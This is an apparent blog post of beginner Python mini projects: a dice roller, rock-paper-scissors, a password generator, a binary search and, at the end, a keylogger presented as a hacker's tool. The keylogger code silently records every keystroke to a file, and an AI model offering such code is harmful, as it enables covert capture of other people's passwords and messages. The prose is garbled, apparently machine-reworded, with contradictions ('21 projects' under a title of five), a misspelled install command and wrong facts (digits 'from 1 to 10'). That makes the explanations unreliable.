Code for 5 Python Mini Projects

March 10, 2021

I've been using Python lasted for approximately a 6 months, and my favorite things about it are its one-liners and packages. One thing I've realized is that construction projects in a programming language is the most effective method for learning it.

This blog will show you 21 python projects with code. I would recommend that you first try to build your possess solution before looking into mine because you may be able to build a better solution than I. If you are an expert in Python, you can also try these projects to brush up on your skills. Let's get started.

1. Dice Roll Simulator

The goal is to develop a program that simulates the roll of a die.

When the user asks, use the random module to generate a number between 1 and 6.

In this tutorial, you will learn how to create a simple dice rolling simulator using Python's random module. This script will output the dice results to the terminal. As a result, the script makes no use of an image processing module. A variable called dice is used to generate a random number between 1 and 6. The function roll the dice() is defined here to generate output based on a random value. In the script, the infinite while loop is used to roll the dice infinitely until the user types anything other than 'y'.

# Import random module
import random

# Define infinite loop
while True:

    # Generate a random number between 1 and 6
    dice = random.randint(1, 6)

    # Define the function to print the output based on the dice value
    def roll_the_dice(dice):
        switcher = {
            1: "[     ]\n|  0  |\n[     ]",
            2: "[0    ]\n|     |\n[    0]",
            3: "[0    ]\n|  0  |\n[    0]",
            4: "[0   0]\n|     |\n[0   0]",
            5: "[0   0]\n|  0  |\n[0   0]",
            6: "[ 0 0 ]\n| 0 0 |\n[ 0 0 ]"

        }
        return switcher.get(dice)

    # Call the function
    print(roll_the_dice(dice))
    # Ask user for rolling the dice again
    answer = input("Do you want to roll the dice again(y/n)? : ")
    # Terminate the loop if the user type anything without 'y'
    if answer != 'y':
        exit(0)

Output:

For using random integer numbers, the output of the above script will vary with each iteration of the loop. The number 5 is generated in the first iteration of the loop displayed using 5 zeros in the following output. The user then typed 'y' to continue the loop, and 4 was generated in the second iteration of the loop and displayed using zeros as before. When the user types 'n,' the script terminates.

2. The Game of Rock, Paper, and Scissors

The goal is to create a command-line game in which a user is given the option of choosing between rock, paper, and scissors, and if the user wins, a score is added, and when the user completes the game, the score is displayed to the user.

Hint: Compare the user choice to the computer choice, which is drawn from a list of options using the random module, and if the user wins, increase the score by one.

import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player = False
cpu_score = 0
player_score = 0
while True:
    player = input("Rock, Paper or  Scissors?").capitalize()
    ## Conditions of Rock,Paper and Scissors
    if player == computer:
        print("Tie!")
    elif player == "Rock":
        if computer == "Paper":
            print("You lose!", computer, "covers", player)
            cpu_score+=1
        else:
            print("You win!", player, "smashes", computer)
            player_score+=1
    elif player == "Paper":
        if computer == "Scissors":
            print("You lose!", computer, "cut", player)
            cpu_score+=1
        else:
            print("You win!", player, "covers", computer)
            player_score+=1
    elif player == "Scissors":
        if computer == "Rock":
            print("You lose...", computer, "smashes", player)
            cpu_score+=1
        else:
            print("You win!", player, "cut", computer)
            player_score+=1
    elif player=='E':
        print("Final Scores:")
        print(f"CPU:{cpu_score}")
        print(f"Plaer:{player_score}")
        break
    else:
        print("That's not a valid play. Check your spelling!")
    computer = random.choice(choices)

3. Password Generator at Random

A strong password is one that contains a combination of characters, digits, and special symbols.

Assume you want to create a random password such as: -

87t@hki ab23cd#$ jk percent m&l98 87t@hki In Python, we can generate a random string password with letters, special characters, and digits in two ways.

Combine the three constants listed below and use them as a data source for the random.choice() function to choose random characters from. string.ascii letters: To include a-z letters and an A-Z string. digits: A string of digits ranging from 1 to 10. To obtain special symbols, use punctuation. Use the string.printable constant and the function choice(). String.printable contains digits, ascii letters (lowercase and uppercase letters), punctuation, and whitespace.

import random
import string

# get random password pf length 8 with letters, digits, and symbols
characters = string.ascii_letters + string.digits + string.punctuation
password = ''.join(random.choice(characters) for i in range(8))
print("Random password is:", password)

output:

Random password is: 6(I3goZ}

Using the string.printable

import random
import string

password = ''.join(random.choice(string.printable) for i in range(8))
print("Random password is:", password)

output:

Random password is: hY*34jj.

Random password with a predetermined number of letters, digits, and symbols

Passwords must contain a certain number of digits and special symbols, which is a common use case.

Let's look at how to make a random password with at least one lowercase letter, one uppercase letter, one digit, and one special symbol.

Steps: -

First, choose the specified number of random lowercase and uppercase letters. Then, select the number of random digits. Then, select the number of special symbols. Make a list of letters, digits, and special symbols. Finally, reshuffle the list. Convert a list to a string.

import random
import string

def get_random_password():
    random_source = string.ascii_letters + string.digits + string.punctuation
    # select 1 lowercase
    password = random.choice(string.ascii_lowercase)
    # select 1 uppercase
    password += random.choice(string.ascii_uppercase)
    # select 1 digit
    password += random.choice(string.digits)
    # select 1 special symbol
    password += random.choice(string.punctuation)

    # generate other characters
    for i in range(6):
        password += random.choice(random_source)

    password_list = list(password)
    # shuffle all characters
    random.SystemRandom().shuffle(password_list)
    password = ''.join(password_list)
    return password

print("First Random Password is ", get_random_password())
# output  qX49}]Ru!(
print("Second Random Password is ", get_random_password())
# Output  3nI0.V#[T

The goal of binary search is to determine whether or not a given number exists in the string.

list, sorting, and searching

Check whether it is present in the middle first, then check the front and back.

TRY IT ON YOUR OWN

lst = [1,3,2,4,5,6,9,8,7,10]
lst.sort()
first=0
last=len(lst)-1
mid = (first+last)//2
item = int(input("enter the number to be search"))
found = False
while( first<=last and not found):
    mid = (first + last)//2
    if lst[mid] == item :
         print(f"found at location {mid}")
         found= True
    else:
        if item < lst[mid]:
            last = mid - 1
        else:
            first = mid + 1 
   
if found == False:
    print("Number not found")

5. create a pytohn keylogger

Today we'll work on creating a Python keylogger. Keyloggers are among the most commonly used tools in a hacker's arsenal. They are, in fact, one of the most fundamental tools and are quite simple to construct. In this module, we will learn how to create a highly effective yet precise keylogger.

Installing Required Libraries

Before we begin, we need to install a particular library, which we can do with the pip command:

$ sudo pip3 install pynput
# or 
pip install pynpt

With that out of the way, we can get back to writing code!

Creating a Python Keylogger in 10 Lines

from pynput.keyboard import Key, Listener
import logging
 
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
 
def on_press(key):
    logging.info(str(key))
 
with Listener(on_press=on_press) as listener :
    listener.join()

Go back Home.